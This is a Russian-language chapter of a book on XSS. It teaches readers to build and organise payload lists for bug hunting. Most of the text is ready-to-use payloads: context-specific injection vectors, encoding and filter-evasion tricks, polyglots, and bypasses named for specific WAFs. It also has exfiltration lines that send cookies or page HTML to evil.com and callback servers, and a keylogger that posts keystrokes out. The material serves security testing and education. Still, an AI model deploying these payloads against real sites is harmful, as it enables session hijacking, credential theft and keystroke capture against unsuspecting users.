Книга: «Все об уязвимости XSS». Глава 5: Поиск XSS - Охота началась 🕵️ • Payload-листы: твой арсенал на все случаи жизни
Payload-лист - это не просто текстовый файл со списком <script>alert(1)</script>. Это твоя библиотека знаний, закодированная в атакующих векторах. Это результат опыта сотен охотников, тысяч багов и миллионов часов fuzzing'а. Хороший payload-лист - разница между находкой critical-уязвимости за 5 минут и пустой тратой недели на сайте, где XSS есть, но ты его не нашёл. Давай разберёмся, как собрать, организовать и использовать арсенал, который будет работать на тебя годами.
Философия payload-листа: качество против количества
Новички часто скачивают первый попавшийся payload-лист на 50000 строк и думают "вот теперь я крут". Потом запускают fuzzing, ждут три часа, получают 49995 timeout'ов и 5 false positive'ов. Проблема в подходе.
Плохой payload-лист: 50000 вариаций одного и того же, без структуры, без понимания контекста, половина устаревших payload'ов для IE6.
Хороший payload-лист: 200-500 тщательно отобранных векторов, организованных по контекстам, с комментариями о том, когда и почему каждый работает, регулярно обновляемых.
Твоя задача - не собрать самый большой список, а создать самый эффективный. Каждый payload должен иметь свою цель и отличаться от остальных чем-то значимым.
Базовая структура: payload'ы по контекстам
Как мы разбирали в главе 3, контекст решает всё . Твой payload-лист должен быть организован именно по контекстам выполнения.
HTML Context Payloads
Здесь твой ввод попадает между HTML-тегами в тело документа.
Базовые векторы:
<script>alert(1)</script>
<script>alert(document.domain)</script>
<script>alert(document.cookie)</script>
<script src=//evil.com/x.js></script>
Альтернативные теги:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<embed src="javascript:alert(1)">
<object data="javascript:alert(1)">
<details open ontoggle=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
Мини-теги и экзотика:
<svg/onload=alert(1)>
<img/src=x/onerror=alert(1)>
<marquee onstart=alert(1)>
<isindex type=image src=x onerror=alert(1)>
Attribute Context Payloads
Для случаев, когда твой ввод оказывается внутри значения HTML-атрибута.
Quoted attributes (с кавычками):
" onclick="alert(1) "
onmouseover="alert(1) "
onfocus="alert(1)"
autofocus=" "><script>alert(1)</script>
'><script>alert(1)</script>
"></iframe><script>alert(1)</script>
Unquoted attributes (без кавычек):
onclick=alert(1)
onmouseover=alert(1)
autofocus onfocus=alert(1)
x onclick=alert(1) x
URL-схемы в href/src:
javascript:alert(1)
javascript:alert(document.domain)
javascript:eval('alert(1)')
data:text/html,<script>alert(1)</script> data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
JavaScript Context Payloads
Когда твой ввод внутри тега <script> или в JavaScript-строке, как мы детально разбирали ранее .
Breaking из строк:
';alert(1);// ';alert(1);' "-alert(1)-" '-alert(1)-' </script><script>alert(1)</script>
Breaking из функций:
');alert(1);// ');alert(1);(' ',alert(1),' ',alert(1)//
Template literals (ES6):
${alert(1)} ${alert(document.domain)} ${eval('alert(1)')}
URL Context Payloads
Для параметров URL и редиректов:
javascript:alert(1) javascript:alert(document.domain) javascript:eval(atob('YWxlcnQoMSk=')) data:text/html,<script>alert(1)</script> data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== //evil.com/xss.js https://evil.com/xss.js
Обфускация и bypass-payload'ы
Второй слой твоего арсенала — payload'ы для обхода фильтров, используя техники из главы 4 .
Case manipulation:
<ScRiPt>alert(1)</sCrIpT> <sCrIpT>alert(1)</ScRiPt> <SCRIPT>alert(1)</SCRIPT> <iMg sRc=x oNeRrOr=alert(1)>
HTML Entity Encoding:
<img src=x onerror=alert(1)> <img src=x onerror=alert(1)> <img src=x onerror="alert(1)"> <script>alert(1)</script> <script>alert(1)</script>
Unicode Escapes:
<img src=x onerror="\u0061lert(1)"> <img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)"> <script>\u0061lert(1)</script>
Base64 + eval:
<script>eval(atob('YWxlcnQoMSk='))</script> <img src=x onerror="eval(atob('YWxlcnQoMSk='))"> <svg onload="eval(atob('YWxlcnQoMSk='))">
String.fromCharCode:
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script> <img src=x onerror="eval(String.fromCharCode(97,108,101,114,116,40,49,41))">
Tag Breaking:
<scr<script>ipt>alert(1)</scr</script>ipt> <scr\x00ipt>alert(1)</scr\x00ipt> <iframe src="java\tscript:alert(1)"> <iframe src="java	script:alert(1)">
Null bytes и whitespace:
<scri%00pt>alert(1)</scri%00pt> <script >alert(1)</script> <script >alert(1)</script> <svg/onload=alert(1)> <svg//onload=alert(1)>
Polyglot Payloads - универсальные солдаты
Polyglot payload - это вектор, который работает в нескольких контекстах одновременно. Это твоя тяжёлая артиллерия для случаев, когда непонятно, в каком контексте окажется ввод.
Классический polyglot от Gareth Heyes:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
Более короткие варианты:
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">
Компактный polyglot:
"><svg/onload=alert(1)> '><svg/onload=alert(1)> --><svg/onload=alert(1)>
Специализированные payload'ы
Для Blind XSS (с callback):
<script src="https://your-xss-hunter.com/unique_id"></script> <script>fetch('https://your-server.com/log?c='+document.cookie)</script> <img src=x onerror="fetch('https://your-server.com/?d='+document.domain)"> <svg onload="new Image().src='https://hook.io/?'+document.cookie">
Для кражи данных:
<script>location='https://evil.com/?c='+document.cookie</script> <script>fetch('https://evil.com/steal',{method:'POST',body:document.cookie})</script> <script>new Image().src='https://evil.com/?html='+encodeURIComponent(document.body.innerHTML)</script>
Для keylogging:
<script>document.onkeypress=function(e){fetch('https://evil.com/keys?k='+e.key)}</script>
Для DOM-based XSS:
#<script>alert(1)</script> #<img src=x onerror=alert(1)> ?param=<script>alert(1)</script>
Browser-specific:
<!-- Firefox --> <xss id=x tabindex=1 onactivate=alert(1)></xss> <!-- Chrome/Edge --> <audio src onloadstart=alert(1)> <!-- Safari --> <form><button formaction="javascript:alert(1)">Click</button></form>
WAF-specific bypass payload'ы
Cloudflare:
<svg/OnLoAd=prompt`1`> <dETAILS%0aopen%0aonToGGle%0a=%0aa=prompt,a`1`> <img sRc=x:x onerRor=prompt`1`>
ModSecurity:
<script>window['alert'](1)</script> <script>window['al'+'ert'](1)</script> <script>eval('al'+'ert(1)')</script>
Akamai:
<d3v/oNcliCk=alert`1`>clickme <iMg sRc=x:xx oNerrOr=alert`1`>
Организация и хранение payload-листов
Структура директорий:
xss-payloads/
├── basic/
│ ├── html-context.txt
│ ├── attribute-context.txt
│ ├── js-context.txt
│ └── url-context.txt
├── bypass/
│ ├── case-manipulation.txt
│ ├── encoding.txt
│ ├── obfuscation.txt
│ └── tag-breaking.txt
├── specialized/
│ ├── blind-xss.txt
│ ├── polyglots.txt
│ ├── dom-based.txt
│ └── data-exfiltration.txt
└── waf-bypass/
├── cloudflare.txt
├── modsecurity.txt
└── akamai.txt
Формат файла:
# HTML Context - Basic Vectors
# Description: Direct injection into HTML body
# Classic script tag
<script>alert(1)</script>
# Image onerror - auto-trigger
<img src=x onerror=alert(1)>
# SVG onload - compact and effective
<svg onload=alert(1)>
# iframe javascript: - works in older browsers
<iframe src="javascript:alert(1)">
Комментарии помогут тебе через год вспомнить, зачем ты добавил конкретный payload.
Где брать готовые payload-листы
Топ источников:
- PayloadAllTheThings (GitHub) - самая полная коллекция, постоянно обновляется
- SecLists/XSS - качественная подборка от Daniel Miessler
- PortSwigger XSS Cheat Sheet - официальный список от создателей Burp Suite
- OWASP XSS Filter Evasion - фокус на обход защит
- XSS-Payload-List от payloadbox - хорошая база для старта
- HackTricks XSS - отличная документация с примерами
Важно: Не копируй слепо. Изучи каждый payload, пойми, как и почему он работает. Протестируй на собственном тестовом сервере. Оставь только те, которые действительно полезны для твоих целей.
Как создавать свои payload'ы
Шаг 1: Изучи спецификации
Читай HTML Living Standard, ECMAScript specs, DOM specs. Каждый новый тег, атрибут или API — потенциальный вектор атаки.
Шаг 2: Мониторь CVE и bug bounty отчёты
Смотри, какие payload'ы используют другие охотники. Адаптируй их под свои нужды.
Шаг 3: Экспериментируй
Создай локальный HTML-файл, тестируй разные комбинации тегов, атрибутов, encoding'ов. Что-то сработает неожиданно — добавь в список.
Шаг 4: Автоматизируй генерацию
Напиши скрипт для генерации вариаций:
base_payloads = ['<script>alert(1)</script>', '<img src=x onerror=alert(1)>']
encodings = ['normal', 'html_entity', 'url', 'unicode']
for payload in base_payloads:
for encoding in encodings:
print(encode(payload, encoding))
Шаг 5: Документируй успехи
Каждый раз, когда payload сработал на реальной цели, записывай:
- Какой payload
- На каком сайте
- В каком контексте
- Какие фильтры обошёл
Это твоя база знаний.
Поддержка и обновление payload-листов
Регулярно (раз в квартал):
- Проверяй новые техники из конференций (DEF CON, Black Hat, OWASP)
- Добавляй payload'ы из свежих CVE
- Удаляй устаревшие (для IE6, Flash, etc.)
- Тестируй актуальность на свежих версиях браузеров
Git для версионирования:
git init git add xss-payloads/ git commit -m "Initial payload collection"
Так ты можешь отслеживать изменения и откатываться к предыдущим версиям.
Практические советы по использованию
- Начинай с малого: Не грузи 50000 payload'ов в Burp Intruder. Начни с 50 базовых, потом углубляйся.
- Контекст-ориентированный подход: Сначала определи контекст через canary payload, потом используй только релевантные векторы.
- Персонализация под цель: Если видишь Cloudflare WAF - берёшь Cloudflare-bypass payload'ы, а не общие.
- Комбинируй техники: Используй encoding + case manipulation + tag breaking одновременно для максимальной эффективности.
- Автоматизация ≠ замена мозгов: Payload-листы - это помощник, не замена мышлению. Лучшие находки всегда приходят от кастомных, ручных payload'ов.
Заключение
Твой payload-лист - это живой организм. Он растёт вместе с твоим опытом, адаптируется под новые защиты, эволюционирует вместе с веб-технологиями. Начни с качественной базы из проверенных источников, но не останавливайся на этом. Добавляй свои находки, экспериментируй, документируй, делись с комьюнити. Хороший payload-лист - это не то, что ты скачал один раз. Это то, что ты создаёшь годами, payload за payload'ом, баг за багом, успех за успехом. И когда придёт момент, и нужно будет найти critical XSS на защищённой цели за ограниченное время - именно твой арсенал, выкованный опытом, станет решающим фактором между успехом и провалом.
